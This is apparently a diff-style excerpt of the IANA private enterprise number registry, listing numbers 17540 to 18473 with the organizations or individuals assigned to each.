+17540 TB-Solutions Advanced Technologies S.L.
+17541 Lamda Inc.
+17542 TFS Technology Inc
+17543 ADUNEO
+17544 BSP Partners GmbH
+17545 Wirefree Innovision pvt ltd
+17546 Magno Comunicacoes Ltda.
+17547 Centre for Good Governance
+17548 Air2Web, Inc.
+17549 LogicLibrary Inc.
+17550 True Blade Systems, Inc.
+17551 Kmart Corporation
+17552 NKI/AvL
+17553 Telefonica Data Colombia S.A.
+17554 PODi - the Digital Printing initiative
+17555 Webster University
+17556 MAXINA GmbH
+17557 Tokyo Woman's Christian University
+17558 Moveo Systemy Teleinformatyczne
+17559 The Art Institute of Chicago
+17560 NETFORYOU CO.,LTD.
+17561 CLink
+17562 Expect Technology
+17563 ENCODE SA
+17564 www.portocervo.cc
+17565 Rural Servicios Informáticos S. C.
+17566 EFG EUROBANK ERGASIAS A.E.
+17567 Certimail SA
+17568 SLAT SA
+17569 Schranzhofer DIAS
+17570 IFS audiovisuals
+17571 Glensound Electronics Ltd.
+17572 Mainframe Oy
+17573 Secretaria das Finanças do Estado da Paraíba
+17574 Oxford Microsystems
+17575 Lebenshilfe Niederoesterreich
+17576 mahalingam & co.
+17577 Ralf Bisges Informationstechnik
+17578 Berlitz International, Inc.
+17579 Groove Media
+17580 Telefonica Data Colombia S.A.
+17581 Hofmann Software Engineering International
+17582 Loran Technologie
+17583 Information Technologies Australia Pty Ltd
+17584 United Network Communication Corp.
+17585 Compusys
+17586 BANDAI NETWORKS CO., LTD.
+17587 Laserbit Communications Corporation
+17588 GLOBAL ELECTRICITY CO., LTD.
+17589 AMEC SPIE Communications
+17590 Orbis Terrarum Networks
+17591 The Defender Association
+17592 Javacise Software
+17593 eath Co.,Ltd.
+17594 Simitel S. de R.L. de C.V.
+17595 SEU
+17596 DigiOnline GmbH
+17597 IntraData BV
+17598 Jouve SI
+17599 Northern Alberta Institute of Technology
+17600 CHUQ
+17601 Group One Trading, LP
+17602 Midnight Linux
+17603 surespeed
+17604 ScySoft Multimedia
+17605 Jens Bräuer
+17606 helloWorld Inc.
+17607 RETIA, Inc
+17608 GIE AGORA
+17609 AZ Mercury Ltd.
+17610 Sadhu Software Services Pvt. Ltd.
+17611 eXc Software, LLC
+17612 Groupe Caisse d'Epargne
+17613 S-Access GMBH
+17614 Queensland Parallel Supercomputing Foundation (QPSF)
+17615 Ashway Software
+17616 Exclusive Flor Sales Ltd.
+17617 MessageGate, Inc.
+17618 Ziniti.Net
+17619 J Enterprise BV
+17620 Mould Industria de Matrizes Ltda
+17621 Lightwave Access, LLC
+17622 OpenServe
+17623 Millersville University
+17624 Scouting Nederland
+17625 Brightline Technology, Inc.
+17626 Phoenix Business Technologies Group, Inc.
+17627 Will Systems
+17628 Mount Hay Technology
+17629 NISHIMU ELECTRONICS INDUSTRIES CO., LTD.
+17630 Anana Ltd
+17631 Oral Diagnostic Systems
+17632 TPISACOM
+17633 Phoenix Color Corporation
+17634 AGB UK Limited
+17635 DragonTail Online Security
+17636 Novahead, Inc.
+17637 fudo.org
+17638 JAJOK Ltd.
+17639 Abbeynet Srl
+17640 Reifenberger
+17641 Web Publications Pty Ltd
+17642 PrintSoft Czech Republic
+17643 Shanghai Neotune Information Technology Co.,Ltd.
+17644 Next Generation Broadband, LLC
+17645 CBCA, Inc.
+17646 Contact Energy Ltd
+17647 NTT Innovation Institute, Inc. (formerly 'NTT Multimedia Communications Laboratories, Inc.')
+17648 Amat-SC, Service & Consulting
+17649 PUMA AG
+17650 ITSOFT
+17651 necron-X
+17652 McKesson IS France
+17653 Moot Hall Holdings Limited
+17654 Sheer Networks, Ltd.
+17655 Epsys
+17656 Tohoku Ricoh Co., Ltd.
+17657 @tp-net e. K.
+17658 Thinklogical, Inc (formerly 'Logical Solutions Inc.')
+17659 The Lutheran University Association, Inc (d/b/a Valparaiso University)
+17660 AStA Universitaet Potsdam
+17661 Lincoln National Corporation
+17662 Lucent EBS
+17663 I.C.S. Industrielle Automatisierungssysteme GmbH
+17664 Watkins Contracting
+17665 IMAKE Software & Services
+17666 New Jersey Hgiher Education Student Assistance Authority
+17667 PCT-International, Inc.
+17668 American Medical Security
+17669 VSL Catena
+17670 Celliance Sarl.
+17671 PT. Mugi Rekso Abadi (Holding)
+17672 MACH Software, Inc.
+17673 CERT-ONERA
+17674 VT100
+17675 Hill McGlynn & Associates Ltd
+17676 nextevolution AG
+17677 Tradition Financial Services Ltd
+17678 Open X Tecnologia Ltda
+17679 Chapter Eight Ltd
+17680 Dialup USA, Inc.
+17681 Johns Hopkins Bloomberg School of Public Health Center for Communication Programs
+17682 BNX Systems Corporation
+17683 Davis Polk & Wardwell
+17684 Xi Software Ltd
+17685 Dunes Technologies SA
+17686 BF&M Insurance Group
+17687 Teamwork Solutions, Inc.
+17688 O'Farrell Community School
+17689 TJM Computing
+17690 The University Of Newcastle
+17691 i-Net Device Co.Ltd.
+17692 Torkild Lømo
+17693 Insitut de Recherche en Communication et Cybernétique de Nantes (IRCCyN)
+17694 Elekta
+17695 COM.BOX WINET GmbH & Co. KG
+17696 GAD IT fuer Banken eG
+17697 Sanderson Townend & Gilbert Ltd
+17698 John Lewis PLC
+17699 Japan Control Engineering, Co., Ltd.
+17700 PowerWallz Network Security Inc.
+17701 BAE Systems, CNIR
+17702 SmartPants Media, Inc.
+17703 Rudjer Boskovic Institute
+17704 Critical Telecom Corp.
+17705 Sovelto Oy
+17706 Kidery
+17707 The Meme Factory, Inc
+17708 sysmango.com
+17709 Shanghai Telecommnunications Technological Research Institute
+17710 michael j van ham
+17711 Aisai communication technology CO.,LTD
+17712 TB-Solutions Technologies Software S.L.
+17713 Cambium Networks Limited (formerly 'PipingHot Networks Limited')
+17714 ASM Enterprises
+17715 Mitsukoshi Infomation Service Co.,Ltd.
+17716 Georgia Tech Foundation
+17717 Escription, Inc.
+17718 Vanu, Inc.
+17719 Noldata Ltd.
+17720 Prompt
+17721 AGL Resources Inc.
+17722 STEAG GmbH
+17723 Softel SA de CV
+17724 SinoCDN Ltd.
+17725 HW Termination Union
+17726 Adva Technologies Ltd.
+17727 Wiplug
+17728 AboveCable, Inc.
+17729 SPUeNTRUP Software
+17730 RedDot Solutions AG
+17731 CQS Technology Holdings (Pty) Ltd
+17732 SNA lab,National Dong-Hwa university ,Hualien,Taiwan
+17733 Delaware State University
+17734 OC Systems, Inc.
+17735 Quark Communications, Inc.
+17736 Trading Metrics, Inc.
+17737 Tablus, Inc.
+17738 Tracey Bernath
+17739 Embedded Technologies s.r.o.
+17740 iSecurity Technology Limited
+17741 Open Enterprise Systems, Ltd.
+17742 Rootsr
+17743 M-Web Business Solutions
+17744 Dubex A/S
+17745 Huntek Co., Ltd.
+17746 By Intertrade
+17747 Nexagent Ltd.
+17748 Card Systems Consulting SRL
+17749 TGC Ltd
+17750 iTechnology GmbH
+17751 Radio Systems Ltd.
+17752 Instituto Atlântico
+17753 MetroHealth Medical Center
+17754 Alexander Pilger Consulting
+17755 Lane Department of Computer Science and Electrical Engineering, West Virginia University
+17756 science + computing ag
+17757 Orthopedic Healthcare Northwest, P.C.
+17758 Trematon UK Ltd
+17759 Synctomi, Inc.
+17760 Identify
+17761 WiredPlace
+17762 Covert Security Services Ltd
+17763 Teske Netzwerkberatung
+17764 Ditelco, LLC
+17765 Tessna Private Limited
+17766 PGP Corporation
+17767 Schruth, LLC
+17768 Ecobyte Limited
+17769 Werft22 AG
+17770 Cia Metropolitano de São Paulo - Metrô
+17771 Lingard Knowledge Software Engineering
+17772 Ironico Pty Ltd
+17773 NEXCOM International Co.,LTD
+17774 Smart Computer Systems Ltd
+17775 INTOREL
+17776 SIN solution
+17777 JaserNet
+17778 nic.at Internet Verwaltungs- und Betriebsgesellschaft m. b. H.
+17779 Econtec GmbH
+17780 Truman Medical Centers, Inc.
+17781 University of Vale do Itajai - CES Sao Jose
+17782 Michael Parker
+17783 SeTel S.p.a.
+17784 Mitsubishi Electric Business Systems Co.,Ltd.
+17785 BONNA SABLA SA
+17786 Frankendata GmbH & Co.KG
+17787 tschaufrei
+17788 EDAG GmbH & Co. KGaA
+17789 sitharus.com internet services
+17790 IPAD Owners Association
+17791 Turoks.Net
+17792 Billing Concepts, Inc.
+17793 Hong Kong Broadband Network Ltd.
+17794 EXARTECH International Corp.
+17795 Echo Communications
+17796 EK Technology, Ltd.
+17797 PrimeScale AG
+17798 Beijing Lingtu Software Co., LTD
+17799 Eurovast Ltd.
+17800 Telephone Company Chereda
+17801 tarent GmbH
+17802 Egyptian Telephone Company
+17803 iTechnology GmbH
+17804 Towers Perrin
+17805 Radio UNiCC e.V.
+17806 isw
+17807 WELLX TELECOM S.A.
+17808 ACTCOM - Active Communication Ltd.
+17809 civil information security organisation
+17810 GIE GETIMA
+17811 Anixe Systems GmbH
+17812 TLS-Technologie sp. z o.o.
+17813 iVAST Inc.
+17814 Boolean Systems, Inc.
+17815 Pollard Banknote Ltd.
+17816 Federated Systems Group
+17817 Fuji Research Institute Corporation
+17818 SAPPORO BREWERIES LTD.
+17819 GIP RENATER
+17820 Foresttek Networks Limited
+17821 Tempest spol. s r.o.
+17822 Easytouch Robert Redl KG (formerly 'EASYTOUCH Robert Divoky KEG')
+17823 Arnes - Academic and Research Network of Slovenia
+17824 Hisense Information Technology Ltd.
+17825 BEconnectIT GmbH
+17826 ZerBit S.L.
+17827 Infostar Technology
+17828 MetaTV Inc.
+17829 IDN Communication System Co.,Ltd
+17830 SYRUS SYSTEMS
+17831 TwinCats Production sprl
+17832 Alphyra Nordic AB
+17833 All for One Systemhaus AG
+17834 C.N.S. Systems AB
+17835 Magyar Telekom Nyrt. (formerly 'MATÃV Rt.')
+17836 Norbert Zänker & Kollegen
+17837 Experimental Factory of Scientific Engineering
+17838 JunCon
+17839 Secureseal Systems Ltd.
+17840 KOITO INDUSTRIES, LIMITED
+17841 bombini.net
+17842 Ipsum Networks, Inc.
+17843 Concerto Software
+17844 Orion Associates
+17845 GeniServer Corporation
+17846 Ocamar Technologies,Inc.
+17847 Mermit Business Applications Oy
+17848 Qamcom Research & Technology AB
+17849 Neuroimage Nord
+17850 Groupe Danone
+17851 SPRINGWAVE,Inc.
+17852 The ProFTPD Project
+17853 Heilpraktikerschule Luzern Ltd.
+17854 Twenty First Century Communications (TFCC)
+17855 zipRealty, Inc.
+17856 NetNumber, Inc.
+17857 Tiscali France
+17858 sonik.org
+17859 Septier Communications Ltd.
+17860 Alembic, Inc.
+17861 Twise Labo Inc.
+17862 Kelly Martin
+17863 dotOpen Pty Ltd
+17864 Fudan GrandHorizon Information Technology, Inc.
+17865 eValley.VS
+17866 GPS Applications, Inc.
+17867 C&M Fine Pack, Inc.
+17868 Codersnetwork.co.uk
+17869 etherstack.com
+17870 Bradford Technology Limited
+17871 NexGen City
+17872 iDOC K.K.
+17873 Gcom, Inc
+17874 Michael F. Doyle
+17875 Macromedia, Inc.
+17876 Factline Webservices GmbH.
+17877 Unassigned
+17878 Journalistic, Inc.
+17879 Ask Software Corporation
+17880 Robert Kurtys
+17881 Profil Kft
+17882 Costco Wholesale Corp.
+17883 CSS Versicherung
+17884 Rocketseed
+17885 Agarwal Associates Ltd
+17886 bross ag
+17887 Realtime Systems Limited
+17888 Xor-Technologies
+17889 Porsche Informatik GmbH
+17890 JSC "OSS Corporation"
+17891 MidAmerica Nazarene University
+17892 Lumenaré Networks, Inc
+17893 Cellent AG
+17894 Airtria
+17895 Keopsys
+17896 TelePro C.S
+17897 QUANTUM RADIONICS CORPORATION
+17898 RISS (Regional Information Sharing Systems)
+17899 mIstA Technologies
+17900 Pivetal Ltd
+17901 Koolspan, Inc.
+17902 Copeland Corporation
+17903 Grouse Media
+17904 boros consulting gmbh
+17905 Aktion Kritischer SchülerInnen Salzburg
+17906 Folleville
+17907 Kumashiro System Frontier Co., Ltd.
+17908 Tobias Punke
+17909 Zandar Technologies
+17910 Meridian VAT Processing (International) Ltd
+17911 Mountain Area Information Network
+17912 Jugendzentrum Kirchheim
+17913 MacShed
+17914 Escribanía de la Fuente
+17915 Iris Media Ltd.
+17916 Istituto Tecnico Commerciale Cesare Battisti
+17917 Computer-Essence
+17918 Smart Systems Pty. Ltd.
+17919 Light Socket, Ltd.
+17920 C-Borne Co.,Ltd.
+17921 HALLE-DOT-COM Germany
+17922 PinPoint Israel Ltd.
+17923 Tinext SA
+17924 RatNet
+17925 Dresdner Kleinwort Wasserstein
+17926 Banco Nacional de Costa Rica
+17927 Sana Security, Inc.
+17928 siikuls incorporated
+17929 Synthetic Networks Inc
+17930 SAGA University
+17931 Diligent Technologies Corporation
+17932 ZeCo GmbH
+17933 Compulogic Limited
+17934 Association of Teachers and Lecturers
+17935 Videolarm, Inc.
+17936 Penn State Hershey Medical Center
+17937 Lollipop Learning Ltd.
+17938 Unassigned
+17939 Guangdong Province Electronic Technology Research Institute
+17940 The University of Texas at Austin
+17941 Web Fabric LLC
+17942 ISN, Inc. D/B/A inSolutions
+17943 Progressix
+17944 Subrenat Expansion S.A.
+17945 Alpha Telecom Inc. USA
+17946 Sinema Instruction
+17947 Card Access Services Pty Ltd
+17948 LV Power (2003) Ltd
+17949 i-neda Ltd
+17950 Endian
+17951 Barnim.Net
+17952 Scalent, Inc
+17953 Advanced Clustering Technologies, Inc.
+17954 Voicenet Cyber Cafe
+17955 Polytron Corporation
+17956 NetCare
+17957 Uniwide Technologies inc.
+17958 KAIYO DENSHI KOGYO Co., Ltd.
+17959 Accense Technology Inc.
+17960 ETRI
+17961 Luottokunta
+17962 Zandan
+17963 CONI Servizi S.p.A.
+17964 Mairie de Pierrefitte-sur-Seine
+17965 mediaskill OHG
+17966 space2go GmbH
+17967 Qovia, Inc
+17968 Fortress Systems, Ltd.
+17969 OC4, LLC.
+17970 jSNMP Enterprises
+17971 Authenti-Corp
+17972 IntraMeta Corporation
+17973 Terravox Technologie Inc
+17974 JWM3, Inc.
+17975 World Radio Missionary Fellowship Inc.
+17976 ISI-ESM
+17977 Rokeby Technologies Ltd.
+17978 Elfwerks
+17979 HyperMedia Systems Ltd.
+17980 Oliver Huf
+17981 Interacct Solutions(Australia)
+17982 Clickerty-Click Ltd
+17983 OutPostal Corporation
+17984 SHENZHEN COSHIP SOFTWARE CO.,LTD.
+17985 kingsoft
+17986 Systems Union (Shanghai) Ltd.
+17987 Vodafone Group Services Limited (formerly 'Cable & Wireless UK')
+17988 PYLON R.I.S.C. GmbH
+17989 petujek.net
+17990 NEC Electronics Corporation
+17991 Weldun, s.r.o.
+17992 Net Direct Inc.
+17993 Aware-Networks Ltda
+17994 Mathematical Institute
+17995 Asociación de Escribanos del Uruguay
+17996 Alien Technology Corporation
+17997 Artis Inc.
+17998 Vordel Ltd.
+17999 Rapsodie
+18000 AGRICULTURAL BANK OF GREECE SA
+18001 University of Cape Town
+18002 Talisen Technologies
+18003 Stichting Wireless Leiden (Foundation under Dutch Law)
+18004 Micro Forté Pty Ltd
+18005 K.K. Alice
+18006 cognitas GmbH
+18007 Phonalyse BVBA
+18008 Fachhochschule Mannheim HS f. Technik u. Gestaltung
+18009 Outram Research Ltd
+18010 Eastern Washington University
+18011 Apollo Communications, International
+18012 connectLOGIC
+18013 DBL Technologies, Ltd.
+18014 Department of Electrical & Electronics Engineering
+18015 Futarque A/S
+18016 JBoss Group, LLC
+18017 PUBLIC VOICE Lab - International Media Co-op
+18018 Northwoods Catholic School
+18019 On Q Holdings Pty Ltd
+18020 Pacific Retail Group
+18021 Construction Electronique et Telecommunication Internationnal
+18022 Covaro Networks, Inc.
+18023 Tatung Science & Technology, Inc.
+18024 Cinergy Communications Company
+18025 siWan GmbH & Co. KG
+18026 Extron Electronics
+18027 Battleaxe Technologies, Inc.
+18028 Battleaxe Technologies, Inc.
+18029 Sonic Foundry, Inc.
+18030 Molecular Therapeutics, Inc.
+18031 ATM Telecom
+18032 matieux.net
+18033 Viviale Ltd
+18034 FrogNet, Inc.
+18035 Netsolus.com Inc.
+18036 United Telecoms Ltd
+18037 Pramati Technologies Pvt Ltd
+18038 Schotten & Marchart OEG
+18039 Toyo Radiator Co., Ltd.
+18040 H.T.T.P. Planitis Communications Ltd.
+18041 pdv.com Beratungs-GmbH
+18042 Meteksan Net
+18043 FinanzIT GmbH
+18044 Synelec Telecom Multimedia
+18045 IMFORM GmbH
+18046 Skellefteå kommun
+18047 NeoLogica s.r.l.
+18048 SunGard Futures Systems
+18049 Pixel Power Ltd
+18050 Enterprise Products Integration Pte Ltd
+18051 RF Systems Nachrichtentechnik GmbH
+18052 FachschaftsvertreterInnenversammlung
+18053 citecs GmbH
+18054 Tenovis GmbH & Co. KG
+18055 Unassigned
+18056 Pioneer Digital Technologies, Inc.
+18057 Procondo GmbH
+18058 Optimus Inc.
+18059 B2SCorp
+18060 The Apache Software Foundation
+18061 OCEAN DEVELOPMENT
+18062 Jo Tankers AS
+18063 Technetix BV (formerly 'Tratec Telecom b.v.')
+18064 Marek Walther
+18065 XOU Solutions Limited
+18066 Planet Lauritsen
+18067 PowerTech Information Systems AS
+18068 hansmi.ch
+18069 Fulfillment Plus
+18070 BTI Photonic Systems
+18071 Cendura Corporation
+18072 R-MEDIA
+18073 hinegardner.org
+18074 Kass Enterprises LLC
+18075 Combridge Medical Information Corporation
+18076 b1n
+18077 Acasim Technologies, Inc.
+18078 Unassigned
+18079 City I.T. (UK) Ltd
+18080 BlueBoard Ltd.
+18081 Numa Technology Inc.
+18082 Midwest Independent Media Foundation
+18083 European Society of Cardiology
+18084 PharmXplorer
+18085 Ciaolab Technologies Spa
+18086 ProTelevision Technologies A/S
+18087 Optare Solutions S.L.
+18088 Jackson
+18089 Inovis Inc.
+18090 FrogNet, Inc.
+18091 CaboVerde
+18092 Ssji Networks
+18093 K-Opticom Corporation
+18094 Kingdom LAN Network
+18095 Beijing Neutron TeleCOM Co. Ltd.
+18096 Advanced Ceramics Research, Inc.
+18097 Sevilla Project
+18098 alexander stensrud
+18099 Amoke Networks Pvt. Ltd.
+18100 Descom Consulting Ltd.
+18101 Adaptive Mobile Security Ltd.
+18102 Leostream Corp
+18103 Shanghai Helitech Telecommunication Co.,Ltd Neijing Technical Branch
+18104 net-worked.co.uk
+18105 Calyptix Security Corporation
+18106 University of Iceland Computing Services
+18107 EEG Enterprises, Inc.
+18108 PingID Network, Inc.
+18109 NeoSpire, inc.
+18110 Speakeasy, Inc.
+18111 A.I.C. Communications, Inc.
+18112 oDesk Corp.
+18113 Wanspot.com Inc.
+18114 Twotrees Technologies, LLC
+18115 ICRISAT
+18116 Node Computing Solutions
+18117 HTK NetCommunication Oy (PHNet)
+18118 New Voice International AG
+18119 MONOPRIX
+18120 Hyder Consulting PLC
+18121 ObjectSource Software GmbH
+18122 Universidade de Sao Paulo
+18123 Pleasant Ridge Waldorf School
+18124 Verticon, Inc.
+18125 End To End
+18126 Quantum Internet Services, Inc.
+18127 Net Consequence GbR
+18128 Komos
+18129 Yorkshire Building Society
+18130 CdC-Sagax
+18131 Echoraith
+18132 Fundación Universidad del Norte
+18133 Genesis Networks and Communications, Inc.
+18134 CEPRI
+18135 Nortel Networks Netas
+18136 Delsyne Software srl
+18137 Wegener Communications, Inc.
+18138 Adwise Ltd.
+18139 NTT FACILITIES,INC.
+18140 PetT Luxembourg
+18141 RRZN, Leibniz Universitaet Hannover
+18142 Gruender-AV
+18143 Lindenaar
+18144 Michael Vistein
+18145 Agricultural Mineral Prospectors Inc.
+18146 PS Solutions Ltd.
+18147 TerraLuna
+18148 cool.de
+18149 B.I. Tecnologia Ltda
+18150 Webage
+18151 Pflug Datentechnik
+18152 ezGet.net
+18153 Software Engineering GmbH
+18154 Telnet Media Ltd
+18155 Stilpo Laboratories
+18156 Great Pacific Industries Inc.
+18157 Willowglen MSC Berhad
+18158 GATSWAY DATA COMMUNICATION TECHNOLOGY CO.,LTD.
+18159 Accordance Systems Inc.
+18160 SHENZHEN GBIT ELECTRONIC TECHNICAL LTD.
+18161 iPoint Ltd.
+18162 EYME Technologies Pvt. Ltd.
+18163 Commit; Oy
+18164 Office of the Prime Minister
+18165 VB Pros Oy / RS-Solutions
+18166 Chalmege
+18167 Integro Networks
+18168 Infogate-Online Ltd
+18169 DOTFLUX
+18170 Inno.com
+18171 Torchbox Ltd
+18172 AP-WDSL GbR
+18173 Ramanam Software Distributors Private Limited
+18174 Wisconsin Department of Justice
+18175 Araknos Srl
+18176 Pikeville Methodist Hospital
+18177 INPE
+18178 Front Range Internet, Inc.
+18179 Quest Software, Inc. (formerly 'Vintela Inc.')
+18180 UNIT Ltd.
+18181 Western Union Financial Services, Inc
+18182 Ahold Information Services
+18183 Systems Atlanta, Inc.
+18184 Exactelis
+18185 Rene van Rooyen
+18186 Awacs ltd
+18187 Linkwise Software(Shanghai) Co.,Ltd
+18188 Torinet
+18189 Direction Générale des Impôts
+18190 dabs.com PLC
+18191 Audiovision
+18192 eSchoolOnline
+18193 Ruban Consulting
+18194 Bewer-Enterprises
+18195 Xsec Srl
+18196 Landeszahnärztekammer Sachsen
+18197 Sony Communication Network Corporation
+18198 Zemilogix, LLc
+18199 Objective Data Storage
+18200 Software Expedition
+18201 Bestseller A/S
+18202 Belatronix Kommunikation & EDV
+18203 TC Electronic A/S
+18204 HPD Software, LLC (formerly 'Computer And Software Enterprises, Inc.')
+18205 Pioneer Industries, Inc.
+18206 iVolve Pty Ltd
+18207 ANTs software inc.
+18208 TeleSym
+18209 Midwest Radiology of Kentucky
+18210 Agilis Communication Technologies Pte Ltd
+18211 Catalina Computers & Discount
+18212 A && L soft, s.r.o.
+18213 Voxsant Resources, Inc.
+18214 Olgierd Ziolko
+18215 Metro Packet Systems, Inc.
+18216 AnyWeb AG
+18217 Profium OY
+18218 DIGORA
+18219 Salten Bredband AS
+18220 W en J
+18221 SY Electronics Ltd
+18222 Hopitaux Universitaires de Strasbourg
+18223 W-OneSys S.L.
+18224 Dipl.-Inf. Carsten Dumke
+18225 guenever.net
+18226 imap4all B.V.
+18227 OpenCA
+18228 University Of Stuttgart
+18229 Sonitrol Security Systems of Hartford, Inc.
+18230 Conectium Limited
+18231 Clear Reach Networks, Inc.
+18232 Equipos Telemo E.T. S.A.
+18233 HEC Montreal
+18234 NetSrv Consulting Ltd
+18235 Andreas Schulze
+18236 McGill University
+18237 IntelliVid Corporation
+18238 SkyLink Design
+18239 DTS, Inc. (formerly 'Digital Theater Systems, Inc')
+18240 berger.de
+18241 w3design
+18242 Wyyzzk, Inc.
+18243 G&J FOSTER TECHNOLOGIES, INC.
+18244 Matisse Networks Inc
+18245 Dishnet DSL Ltd.
+18246 Degussa AG
+18247 IT&T s.r.l.
+18248 PaPouch elektronika
+18249 Diego Alvarez
+18250 TECHNOLOGIES RESEAUX & SOLUTIONS
+18251 Beijing ACT Technology Co., Ltd.
+18252 Symmetrus Systems Ltd.
+18253 mVerify Corporation
+18254 Mimezine
+18255 Taller de Ideas (de C. Daniel Mojoli B.)
+18256 Babcock & Wilcox Company (McDermott)
+18257 KHAMSIN Security GmbH
+18258 Binken.com
+18259 CBTCBT Inc.
+18260 Bandapart.Net
+18261 TigerByte
+18262 Technicolor Media Asset Management
+18263 Sanders Technology & Design
+18264 ICT Group HHW
+18265 Kestrel Technologies, Inc.
+18266 Dallas Genealogical Society
+18267 NEOJAPAN, Inc.
+18268 SkyNet Network Security System Integration co.,Ltd.
+18269 Mapfre
+18270 BANKSYS
+18271 CIFOM-ESNIG
+18272 Alerta Comunicaciones SAL
+18273 French Senate
+18274 Shenzhen Experiment School
+18275 CIBERNET Corporation
+18276 Lurcher Link
+18277 ---none---
+18278 Columbus Metropolitan Library
+18279 Rainer Fischer, EDV-Service
+18280 NetTempo, Inc.
+18281 Bodacion Technologies, LLC.
+18282 Muttsoft, Inc
+18283 Paraxip Technologies
+18284 EXEMYS SRL
+18285 Vidiator Technology Inc.
+18286 Assurent Software Inc.
+18287 InnoPath Software
+18288 RABA Technologies LLC
+18289 Router Management Solutions, Inc.
+18290 szeles tibor
+18291 Ligfy
+18292 Metis Oy
+18293 Blackhawk Internet Communications Inc.
+18294 Cambridge University Press
+18295 Applied Software Solutions, LLC
+18296 Emigrant Savings Bank
+18297 Symbium Corporation
+18298 drugref.org
+18299 Institute for International Ecomonic and Political Studies, Russian Academy of Sciences
+18300 Xoba Inc.
+18301 Datacard Corporation
+18302 Metroplex Webs
+18303 Sollae Systems Co.,Ltd.
+18304 Douglas Needham
+18305 North American Astrophysical Observatory
+18306 Sichuan e-link Co., Ltd.
+18307 Eadiefleet Corporation
+18308 aphona Kommunikationssysteme Entwicklungs- und VertriebsgmbH
+18309 Einsle
+18310 Heitec AG
+18311 Linzies' computers
+18312 Data Flow Systems
+18313 Bodacion Technologies, LLC.
+18314 Canberra Industries
+18315 McCormick & Company, Inc.
+18316 Ordination Med.-Rat Dr. Roesler
+18317 Muttsoft, Inc
+18318 Copel Telecomunicações S/A
+18319 Asociación Nacional Ecuménica de Desarrollo
+18320 Hydrologic Consultants, Inc of Colorado
+18321 Universidad del Sagrado Corazon
+18322 ITaCS GmbH
+18323 Mindways Software, Inc.
+18324 Press Communications P/L
+18325 Advanced Relay Corporation
+18326 InfoGin Ltd.
+18327 42networks AB
+18328 OpenMIND Networks Limited
+18329 AMC Ltd.
+18330 Electrobusiness Connections Inc.
+18331 Huber S-Consulting GmbH
+18332 ANF Autoridad de Certificación
+18333 ANF AC Entidad de Certificación Perú S.A.C.
+18334 KONICA MINOLTA HOLDINGS, INC.
+18335 Melloul-Blamey Construction Inc.
+18336 Computer Logix
+18337 creedon engineering
+18338 Centrum voor Wiskunde en Informatica
+18339 ANF AC MALTA, LTD.
+18340 Proquest Information and Learning
+18341 The Institute for Open Systems Technologies Pty Ltd
+18342 CEYONIQ Technology GmbH
+18343 Performance Solutions Limited
+18344 Intmain.Com
+18345 Messagesoft Inc.
+18346 Sebastian Denef Computer Service
+18347 MAUSER-Werke GmbH & Co. KG
+18348 Avitech International Corp.
+18349 Luther Seminary
+18350 Polva Central Library
+18351 Velare Technologies Inc.
+18352 Sony Pictures Imageworks
+18353 MAUSER-Werke GmbH & Co. KG
+18354 Calyptech Pty Ltd
+18355 Avitech International Corp.
+18356 kevinstevens.info
+18357 Full Frontal Ingenuity LLC (formerly 'Leathern Apron Incorporated')
+18358 EPITECH
+18359 Intransa, Inc.
+18360 INTEC Web and Genome Informatics Corporation
+18361 A3 Security Consulting Co., Ltd.
+18362 Hong Kong CSL Limited
+18363 Epok, Inc.
+18364 Nezabudka
+18365 Konzumbank Rt.
+18366 Applicata
+18367 Nanoteq PTY LTD
+18368 ComUnics Informatik GmbH
+18369 Phoenix Zeppelin spol. s r.o.
+18370 Internet Consult SARL
+18371 Pickering Interfaces Ltd
+18372 BalaBit IT Ltd.
+18373 CSAS - Computer Systeme Arno Seidel
+18374 Andri Saar
+18375 Ruprecht-Karls-Universitaet Heidelberg
+18376 ORGA Systems GmbH
+18377 Universita` degli Studi di Trieste
+18378 Eastern Kentucky University
+18379 ExtraQuest, Corporation
+18380 NEXTFOR S.A.
+18381 Suramericana de Seguros S.A.
+18382 Bank of Valletta plc
+18383 Enterux Solutions
+18384 Reflective Solutions Ltd.
+18385 Ecki Patang Org
+18386 oshiire
+18387 Litrius Group
+18388 AstraZeneca
+18389 Old Genie Hottabych Company
+18390 MTS S.p.A.
+18391 Learning Objects Network Inc.
+18392 Applied Personal Computing, Inc.
+18393 Goblin
+18394 Fred Chef Inc.
+18395 vivaxis SAS
+18396 Dassault Aviation
+18397 InfoSys
+18398 jMind Consulting Ltd.
+18399 K/P Corporation
+18400 Kommandoraden
+18401 Xiqa Networks
+18402 SecurityMetrics, Inc.
+18403 City of Chicago - Office of Budget Management
+18404 United Nations Development Programme
+18405 Redbird Informatics, Inc.
+18406 Internetworking Ltd.
+18407 Transcendence.net
+18408 Association Ohana
+18409 Planet A.S.
+18410 Häme Polytechnic
+18411 DataCenterTechnologies
+18412 Epoch Design Ltd
+18413 EGIM
+18414 Imaginative IT Limited
+18415 ELM Computer Technologies Ltd.
+18416 Victron bva
+18417 Argon Technologies Inc.
+18418 Endace Technology
+18419 glaven.org
+18420 cerebrasoft
+18421 tetera.org
+18422 AetherStorm.com
+18423 NetHarmonix, Inc.
+18424 MooreWare
+18425 COMCO AG
+18426 ---none---
+18427 Patrick Näf
+18428 American Registry for Internet Numbers
+18429 IT Consulting & Education Ltd.
+18430 GenerationE Technologies LLC
+18431 Stmk. Krankenanstalten GesmbH
+18432 ---none---
+18433 deny all
+18434 University of Leipzig
+18435 Advanced Computer Systems, ACS S.P.A.
+18436 Bell Mobility
+18437 W.I.S.V. Christiaan Huygens
+18438 ---none---
+18439 Composite Software, Inc.
+18440 peerix
+18441 National Football League
+18442 Vimatix
+18443 Netsys.IT GbR
+18444 Sandwich.Net, LLC
+18445 Datacard Corporation
+18446 Ascendant Technologies, Inc.
+18447 Willis Consulting
+18448 Vanquish, Inc.
+18449 Alexander Gretha
+18450 SevenL Networks Inc.
+18451 PC-Pool Physik, TU-Berlin
+18452 Tempod
+18453 The City Of Calgary
+18454 OATSystems, Inc
+18455 MEDICAL INFOMATION CO., LTD.
+18456 NetKlass Technology Inc.
+18457 European Directorate for the Quality of Medicines & HealthCare, Council of Europe (EDQM) (formerly 'European Directorate for the Quality of Medicines')
+18458 Image Processing Techniques Ltd
+18459 Semafor Informatik & Energie AG
+18460 Powell Companies
+18461 Osix Inc.
+18462 Lifetree Convergence Ltd
+18463 Spektar JSC
+18464 ROMATSA R.A.
+18465 TradeLink L.L.C.
+18466 Aviva Communications Inc.
+18467 AdvancePCS
+18468 hughes network systems
+18469 UNIS LUMIN INC.
+18470 Ingenieurbuero Michael Kappler
+18471 e-Scripps
+18472 Crystal Computer Corporation (Georgia)
+18473 Form-IT
